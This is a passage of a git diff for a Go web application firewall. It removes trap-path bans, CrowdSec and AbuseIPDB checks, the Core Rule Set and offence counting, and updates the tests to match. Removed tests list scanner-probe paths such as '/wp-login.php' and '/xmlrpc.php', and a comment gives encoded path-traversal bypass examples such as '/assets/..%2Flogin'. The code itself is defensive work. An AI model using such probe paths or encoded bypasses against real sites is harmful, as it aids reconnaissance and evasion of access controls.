|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
server.AbuseIPDB.Load(reputation.Checks{Scores: kept})
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantAbuseIPDBChecks checks how many clients server has checked with
|
|
||||||
// AbuseIPDB.
|
|
||||||
func wantAbuseIPDBChecks(t *testing.T, server *proxy.Server, want int) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if got := server.AbuseIPDB.Checked(); got != want {
|
|
||||||
t.Errorf("%d clients checked with AbuseIPDB, want %d", got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// loadLists puts copies of lists into server's lists, by URL, each with
|
// loadLists puts copies of lists into server's lists, by URL, each with
|
||||||
// its lines, fetched at listsFetched, as reputation.json would at start.
|
// its lines, fetched at listsFetched, as reputation.json would at start.
|
||||||
func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) {
|
func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) {
|
||||||
|
|||||||
+32
-71
@@ -17,7 +17,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
@@ -64,18 +63,9 @@ type request struct {
|
|||||||
// limits and for the byte limits.
|
// limits and for the byte limits.
|
||||||
counted bool
|
counted bool
|
||||||
limitPercent, bytesPercent percentage
|
limitPercent, bytesPercent percentage
|
||||||
// attack is true for a request that matched a ban rule or asked for a
|
|
||||||
// trap path, ruleBlocked for one a block rule refused, wafBlocked for
|
|
||||||
// one the Core Rule Set refused, and tokenRefused for one refused for a
|
|
||||||
// missing or wrong token, each an offence its client's history counts.
|
|
||||||
attack, ruleBlocked, wafBlocked, tokenRefused bool
|
|
||||||
// blocklisted is true once a blocklist is found to list the client,
|
// blocklisted is true once a blocklist is found to list the client,
|
||||||
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
|
// and dnsblListed once a DNSBL zone's verdict is.
|
||||||
// AbuseIPDB's score of it is a hit.
|
blocklisted, dnsblListed bool
|
||||||
blocklisted, dnsblListed, abuseIPDBHit bool
|
|
||||||
// reputation is the reputation sources that list the client, for the
|
|
||||||
// notes of a ban the request makes.
|
|
||||||
reputation []bans.ReputationHit
|
|
||||||
start time.Time
|
start time.Time
|
||||||
// checked is when the checks were done, and upstreamStart when the
|
// checked is when the checks were done, and upstreamStart when the
|
||||||
// request was handed to the app.
|
// request was handed to the app.
|
||||||
@@ -145,7 +135,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
|
|||||||
RequestID: requestID(r, peerTrusted),
|
RequestID: requestID(r, peerTrusted),
|
||||||
PeerIP: peer.String(),
|
PeerIP: peer.String(),
|
||||||
ForwardedFor: strings.Join(forwardedFor, ", "),
|
ForwardedFor: strings.Join(forwardedFor, ", "),
|
||||||
ClientGroup: h.clientGroup(client).String(),
|
ClientGroup: clientGroup(client).String(),
|
||||||
ContentType: r.Header.Get("Content-Type"),
|
ContentType: r.Header.Get("Content-Type"),
|
||||||
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
|
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
|
||||||
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
|
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
|
||||||
@@ -188,29 +178,22 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// check is the one place where a request can be refused once its client
|
// check is the one place where a request can be refused once its client
|
||||||
// is known, before anything reaches the app, and before its body is read,
|
// is known, before its body is read or anything reaches the app. It
|
||||||
// but for the part the Core Rule Set reads. It returns nil to let the
|
// returns nil to let the request through. The checks of checkClient come
|
||||||
// request through. The checks of checkClient come first, answered with
|
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
|
||||||
// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
|
|
||||||
// then the size limit, so that a request the rate limits count is counted
|
// then the size limit, so that a request the rate limits count is counted
|
||||||
// even when it is refused for its size. In observe mode a request
|
// even when it is refused for its size. In observe mode a request
|
||||||
// checkClient refuses goes on to the size limit like any other. A size or
|
// checkClient refuses goes on to the size limit like any other. ctx is
|
||||||
// time limit the Core Rule Set's reading of the body meets ends the
|
// the request's own context.
|
||||||
// request in either mode. ctx is the request's own context.
|
|
||||||
func (rq *request) check(ctx context.Context) *refusal {
|
func (rq *request) check(ctx context.Context) *refusal {
|
||||||
action := rq.checkClient(ctx)
|
action := rq.checkClient(ctx)
|
||||||
|
|
||||||
refused := rq.refused.Load()
|
|
||||||
if refused != nil {
|
|
||||||
return refused
|
|
||||||
}
|
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case action == "":
|
case action == "":
|
||||||
case rq.h.config.Observe:
|
case rq.h.config.Observe:
|
||||||
// The log line names what enforce mode would have done.
|
// The log line names what enforce mode would have done.
|
||||||
rq.line.WouldAction = action
|
rq.line.WouldAction = action
|
||||||
case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
|
case action == requestlog.ActionRuleBlocked:
|
||||||
return &refusal{status: http.StatusForbidden, action: action}
|
return &refusal{status: http.StatusForbidden, action: action}
|
||||||
default:
|
default:
|
||||||
return rq.banResponse(action)
|
return rq.banResponse(action)
|
||||||
@@ -234,14 +217,12 @@ func (rq *request) check(ctx context.Context) *refusal {
|
|||||||
// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
|
// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
|
||||||
// so that a client either refuses is not looked up, then the lookup of
|
// so that a client either refuses is not looked up, then the lookup of
|
||||||
// its AS number and country, then the country lists, then the blocklists,
|
// its AS number and country, then the country lists, then the blocklists,
|
||||||
// then the CrowdSec decision list, which bans the client it lists, then
|
// and then the DNSBL zones' verdicts; a request any of them refuses is not
|
||||||
// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
|
// counted for the rate limits. Then come the rate limits, unless the
|
||||||
// them refuses is not counted for the rate limits. Then come the
|
// client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is
|
||||||
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
|
// exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request
|
||||||
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
|
// is counted, each of them by the client's limit percentages, and last the
|
||||||
// every other request is counted, each of them by the client's limit
|
// rule files. A request exempt from the rate limits is exempt from the
|
||||||
// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
|
|
||||||
// Core Rule Set. A request exempt from the rate limits is exempt from the
|
|
||||||
// byte limits too. ctx is the request's own context.
|
// byte limits too. ctx is the request's own context.
|
||||||
func (rq *request) checkClient(ctx context.Context) string {
|
func (rq *request) checkClient(ctx context.Context) string {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
@@ -269,11 +250,7 @@ func (rq *request) checkClient(ctx context.Context) string {
|
|||||||
return requestlog.ActionDenied
|
return requestlog.ActionDenied
|
||||||
}
|
}
|
||||||
|
|
||||||
if rq.crowdSecBanned(now) {
|
if rq.dnsblDenied(ctx) {
|
||||||
return requestlog.ActionBanned
|
|
||||||
}
|
|
||||||
|
|
||||||
if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
|
|
||||||
return requestlog.ActionDenied
|
return requestlog.ActionDenied
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -289,24 +266,15 @@ func (rq *request) checkClient(ctx context.Context) string {
|
|||||||
return requestlog.ActionRateLimited
|
return requestlog.ActionRateLimited
|
||||||
}
|
}
|
||||||
|
|
||||||
if rq.trapPath(now) {
|
return rq.checkRules(now)
|
||||||
return requestlog.ActionBanned
|
|
||||||
}
|
|
||||||
|
|
||||||
action := rq.checkRules(now)
|
|
||||||
if action != "" {
|
|
||||||
return action
|
|
||||||
}
|
|
||||||
|
|
||||||
return rq.checkCoreRuleSet()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// pathExempt reports whether a request for u is exempt under prefixes,
|
// pathExempt reports whether the rate limits leave out a request for u
|
||||||
// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
|
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
|
||||||
// path as sent, the path the app receives, not percent-decoded, starts
|
// path the app receives, not percent-decoded, starts with one of
|
||||||
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
|
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
|
||||||
// app whose router matches the path as received. A request whose decoded
|
// router matches the path as received. A request whose decoded path
|
||||||
// path contains .. anywhere or a backslash, or whose path as sent holds an
|
// contains .. anywhere or a backslash, or whose path as sent holds an
|
||||||
// encoded slash (%2F or %2f), never is, since an app may act on it as a
|
// encoded slash (%2F or %2f), never is, since an app may act on it as a
|
||||||
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
|
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
|
||||||
// as one path segment, as Go's router does.
|
// as one path segment, as Go's router does.
|
||||||
@@ -558,28 +526,21 @@ func timing(start, end time.Time) *float64 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// addToHistory adds the request, which has ended, to its client's
|
// addToHistory adds the request, which has ended, to its client's
|
||||||
// history, and counts its offences in the metrics, and then the lookup's
|
// history, and then the lookup's answer about the client, as
|
||||||
// answer about the client, as answerAtTheEnd gives it, to that history and
|
// answerAtTheEnd gives it, to that history and to the notes of the bans
|
||||||
// to the notes of the bans on its netblock: an answer may have come
|
// on its netblock: an answer may have come before either was there, and
|
||||||
// before either was there, and one from GeoJS that comes later is added
|
// one from GeoJS that comes later is added when it comes.
|
||||||
// when it comes.
|
|
||||||
func (rq *request) addToHistory() {
|
func (rq *request) addToHistory() {
|
||||||
forwarded := !rq.upstreamStart.IsZero()
|
forwarded := !rq.upstreamStart.IsZero()
|
||||||
request := ratelimit.Request{
|
|
||||||
|
rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{
|
||||||
Forwarded: forwarded,
|
Forwarded: forwarded,
|
||||||
Refused: !forwarded && rq.refused.Load() != nil,
|
Refused: !forwarded && rq.refused.Load() != nil,
|
||||||
Status: rq.out.status,
|
Status: rq.out.status,
|
||||||
RequestBytes: rq.requestBytes(),
|
RequestBytes: rq.requestBytes(),
|
||||||
ResponseBytes: rq.out.bytes,
|
ResponseBytes: rq.out.bytes,
|
||||||
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
|
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
|
||||||
Attack: rq.attack,
|
})
|
||||||
RuleBlocked: rq.ruleBlocked,
|
|
||||||
WAFBlocked: rq.wafBlocked,
|
|
||||||
TokenRefused: rq.tokenRefused,
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
|
|
||||||
rq.h.metrics.Offences(request)
|
|
||||||
|
|
||||||
answer, found := rq.answerAtTheEnd()
|
answer, found := rq.answerAtTheEnd()
|
||||||
if found {
|
if found {
|
||||||
@@ -603,7 +564,7 @@ func (rq *request) countAnomalies() {
|
|||||||
|
|
||||||
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
|
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
|
||||||
Client: rq.client,
|
Client: rq.client,
|
||||||
ClientGroup: rq.h.clientGroup(rq.client),
|
ClientGroup: clientGroup(rq.client),
|
||||||
ASN: answer.ASN,
|
ASN: answer.ASN,
|
||||||
ASName: answer.ASName,
|
ASName: answer.ASName,
|
||||||
Country: answer.Country,
|
Country: answer.Country,
|
||||||
@@ -632,7 +593,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
|
|||||||
return rq.lookupAnswer, true
|
return rq.lookupAnswer, true
|
||||||
}
|
}
|
||||||
|
|
||||||
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
|
return rq.h.geojs.Kept(clientGroup(rq.client))
|
||||||
}
|
}
|
||||||
|
|
||||||
// requestBytes is how many bytes of the request's body have been read.
|
// requestBytes is how many bytes of the request's body have been read.
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ import (
|
|||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"reflect"
|
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -74,7 +73,7 @@ func TestEachRuleAction(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
got := server.Ledger.Bans(netblock)
|
got := server.Ledger.Bans(netblock)
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
if len(got) != 1 || got[0] != want {
|
||||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -204,9 +203,6 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
|
|||||||
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
|
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
|
||||||
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
|
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
|
||||||
`instance="app",status_class="4xx"}`, 1)
|
`instance="app",status_class="4xx"}`, 1)
|
||||||
wantMetric(t, metrics,
|
|
||||||
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
|
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
|
||||||
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
|
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
|
||||||
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
|
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
|
||||||
|
|||||||
+2
-25
@@ -1,38 +1,18 @@
|
|||||||
package proxy
|
package proxy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"slices"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
)
|
)
|
||||||
|
|
||||||
// trapPath reports whether the request asks for a path in
|
|
||||||
// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding
|
|
||||||
// and without the query, is one of them. Such a request is a clear sign of
|
|
||||||
// attack, as a ban rule's match is: it bans the client's netblock, or in
|
|
||||||
// observe mode raises the alert for the ban it would have made.
|
|
||||||
func (rq *request) trapPath(now time.Time) bool {
|
|
||||||
path := rules.Path(rq.in)
|
|
||||||
if !slices.Contains(rq.h.config.TrapPaths, path) {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.attack = true
|
|
||||||
rq.banForAttack(now, bans.Notes{TrapPath: path})
|
|
||||||
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkRules checks the request against the rules of the rule files at
|
// checkRules checks the request against the rules of the rule files at
|
||||||
// now, notes the ids of those it matches in the log line, and returns the
|
// now, notes the ids of those it matches in the log line, and returns the
|
||||||
// action of the rule that refuses it, ActionRuleBlocked for a block rule
|
// action of the rule that refuses it, ActionRuleBlocked for a block rule
|
||||||
// and ActionBanned for a ban rule, or "" when none does. A ban rule bans
|
// and ActionBanned for a ban rule, or "" when none does. A ban rule bans
|
||||||
// the client's netblock for a clear sign of attack, or in observe mode
|
// the client's netblock for a clear sign of attack, or in observe mode
|
||||||
// raises the alert for the ban it would have made. Either rule's match
|
// raises the alert for the ban it would have made.
|
||||||
// is noted as an offence, for the client's history.
|
|
||||||
func (rq *request) checkRules(now time.Time) string {
|
func (rq *request) checkRules(now time.Time) string {
|
||||||
matched := rq.h.rules.Match(rq.in)
|
matched := rq.h.rules.Match(rq.in)
|
||||||
|
|
||||||
@@ -48,12 +28,9 @@ func (rq *request) checkRules(now time.Time) string {
|
|||||||
// Only the last rule matched can refuse the request.
|
// Only the last rule matched can refuse the request.
|
||||||
switch last := matched[len(matched)-1]; last.Action {
|
switch last := matched[len(matched)-1]; last.Action {
|
||||||
case rules.ActionBlock:
|
case rules.ActionBlock:
|
||||||
rq.ruleBlocked = true
|
|
||||||
|
|
||||||
return requestlog.ActionRuleBlocked
|
return requestlog.ActionRuleBlocked
|
||||||
case rules.ActionBan:
|
case rules.ActionBan:
|
||||||
rq.attack = true
|
rq.banForAttack(now, last)
|
||||||
rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
|
|
||||||
|
|
||||||
return requestlog.ActionBanned
|
return requestlog.ActionBanned
|
||||||
default:
|
default:
|
||||||
|
|||||||
@@ -144,7 +144,6 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
|
|||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
|
||||||
rateLimitExemptNets: listedAddr + "," + fromKP,
|
rateLimitExemptNets: listedAddr + "," + fromKP,
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
|
|||||||
@@ -1,115 +0,0 @@
|
|||||||
package proxy_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"reflect"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
// trapPaths is the setting's name, and trapPathList what the tests set it
|
|
||||||
// to.
|
|
||||||
const (
|
|
||||||
trapPaths = "SWWAF_TRAP_PATHS"
|
|
||||||
trapPathList = "/wp-login.php,/xmlrpc.php"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
|
|
||||||
|
|
||||||
// A block rule for the same path: the trap path comes first.
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
|
||||||
trapPaths: trapPathList,
|
|
||||||
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
|
|
||||||
allowNets: allowed,
|
|
||||||
banResponse: "429",
|
|
||||||
})
|
|
||||||
start := clk.Now()
|
|
||||||
|
|
||||||
// Only the path itself, as the client sent it, is a trap path.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php",
|
|
||||||
} {
|
|
||||||
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A client in SWWAF_ALLOW_NETS is not checked.
|
|
||||||
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
// The query is not part of the path.
|
|
||||||
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
|
|
||||||
requestlog.ActionBanned)
|
|
||||||
wantRuleIDs(t, line)
|
|
||||||
|
|
||||||
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
|
||||||
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
|
|
||||||
}
|
|
||||||
|
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
|
||||||
want := bans.Ban{
|
|
||||||
Netblock: netblock,
|
|
||||||
Start: start,
|
|
||||||
Expires: start.Add(7 * 24 * time.Hour),
|
|
||||||
Cause: bans.CauseAttack,
|
|
||||||
Reason: "asked for the trap path /wp-login.php",
|
|
||||||
Notes: bans.Notes{
|
|
||||||
TrapPath: "/wp-login.php",
|
|
||||||
Request: bans.Request{
|
|
||||||
Time: start,
|
|
||||||
Method: http.MethodGet,
|
|
||||||
Host: appHost,
|
|
||||||
Path: "/wp-login.php?redirect_to=x",
|
|
||||||
Status: http.StatusTooManyRequests,
|
|
||||||
UserAgent: userAgent,
|
|
||||||
},
|
|
||||||
Requests: 1,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
got := server.Ledger.Bans(netblock)
|
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
|
||||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The next request is refused under the ban, and makes it permanent.
|
|
||||||
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
|
|
||||||
if line.BanExpires != permanent {
|
|
||||||
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
|
||||||
trapPaths: trapPathList,
|
|
||||||
"SWWAF_RULES_ENABLED": "false",
|
|
||||||
})
|
|
||||||
|
|
||||||
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
|
||||||
trapPaths: trapPathList,
|
|
||||||
mode: observe,
|
|
||||||
})
|
|
||||||
|
|
||||||
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionBanned)
|
|
||||||
|
|
||||||
// No ban was made.
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
if got := server.Ledger.Snapshot(); len(got) != 0 {
|
|
||||||
t.Errorf("bans %+v, want none", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
func TestHistoryKeepsEveryRequest(t *testing.T) {
|
func TestHistoryKeepsEveryRequest(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -53,7 +53,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
|
|||||||
func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
|
func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
other := netip.MustParsePrefix("198.51.100.7/32")
|
other := netip.MustParsePrefix("198.51.100.7/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -90,7 +90,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
|
|||||||
func TestResetKeepsTheHistory(t *testing.T) {
|
func TestResetKeepsTheHistory(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -109,7 +109,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
|
|||||||
func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
|
func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{})
|
||||||
|
|
||||||
for client, requests := range map[string]int{
|
for client, requests := range map[string]int{
|
||||||
"198.51.100.9/32": 2,
|
"198.51.100.9/32": 2,
|
||||||
|
|||||||
@@ -2,9 +2,8 @@
|
|||||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||||
// method" section of SPEC.md describes, which tell when a request takes
|
// method" section of SPEC.md describes, which tell when a request takes
|
||||||
// the client over a rate limit or a byte limit, and each client's history
|
// the client over a rate limit or a byte limit, and each client's history
|
||||||
// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
|
// since it was first seen. At most 20,000 clients are kept, in memory, and
|
||||||
// kept, in memory, and written to clients.json and read from it by the
|
// written to clients.json and read from it by the state package.
|
||||||
// state package.
|
|
||||||
package ratelimit
|
package ratelimit
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -17,6 +16,11 @@ import (
|
|||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// maxClients is how many clients are kept. Past it, the least recently
|
||||||
|
// seen client is dropped, with its history, and starts afresh if it comes
|
||||||
|
// back.
|
||||||
|
const maxClients = 20000
|
||||||
|
|
||||||
const day = 24 * time.Hour
|
const day = 24 * time.Hour
|
||||||
|
|
||||||
// The kinds of limits, as the metrics name them.
|
// The kinds of limits, as the metrics name them.
|
||||||
@@ -25,9 +29,6 @@ const (
|
|||||||
KindRequests = "requests"
|
KindRequests = "requests"
|
||||||
// KindBytes is a byte limit, on a client's bytes.
|
// KindBytes is a byte limit, on a client's bytes.
|
||||||
KindBytes = "bytes"
|
KindBytes = "bytes"
|
||||||
// KindRefusals is the error burst, on a client's requests smallwebwaf
|
|
||||||
// refused after a rule file match or for a missing or wrong token.
|
|
||||||
KindRefusals = "refusals"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// Limits are the most requests a client may make in a minute, an hour and
|
// Limits are the most requests a client may make in a minute, an hour and
|
||||||
@@ -53,8 +54,7 @@ type Limiter struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Client is a client in the table, as clients.json holds it: its buckets
|
// Client is a client in the table, as clients.json holds it: its buckets
|
||||||
// of requests and of bytes in each window, its buckets of refusals in the
|
// of requests and of bytes in each window, and its history.
|
||||||
// minute, which the error burst counts, and its history.
|
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Client struct {
|
type Client struct {
|
||||||
@@ -65,7 +65,6 @@ type Client struct {
|
|||||||
MinuteBytes Buckets `json:"minute_bytes"`
|
MinuteBytes Buckets `json:"minute_bytes"`
|
||||||
HourBytes Buckets `json:"hour_bytes"`
|
HourBytes Buckets `json:"hour_bytes"`
|
||||||
DayBytes Buckets `json:"day_bytes"`
|
DayBytes Buckets `json:"day_bytes"`
|
||||||
MinuteRefusals Buckets `json:"minute_refusals"`
|
|
||||||
History History `json:"history"`
|
History History `json:"history"`
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -118,19 +117,9 @@ type Responses struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Offences are a client's offences, by kind.
|
// Offences are a client's offences, by kind.
|
||||||
//
|
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
|
||||||
type Offences struct {
|
type Offences struct {
|
||||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
// Limit is its requests that broke a rate limit or a byte limit.
|
||||||
// error burst, Attack those that were a clear sign of attack, a match
|
|
||||||
// of a ban rule or a request for a trap path, RuleBlocked those a block
|
|
||||||
// rule refused, WAFBlocked those the Core Rule Set refused, and
|
|
